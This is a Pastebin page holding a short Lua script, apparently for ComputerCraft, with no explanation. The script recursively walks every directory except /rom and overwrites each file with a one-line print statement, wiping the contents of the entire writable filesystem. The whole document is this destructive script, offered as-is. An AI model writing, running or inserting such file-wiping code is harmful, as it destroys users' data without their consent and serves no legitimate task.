Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function rcopy(dir)
- if dir ~= "/rom" then
- for i,v in pairs(fs.list(dir)) do
- if fs.isDir(dir.."/"..v) then
- rcopy(dir.."/"..v)
- else
- local f = io.open(dir.."/"..v, "w")
- f:write('print("hi")')
- f:close()
- end
- end
- end
- end
- rcopy("")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement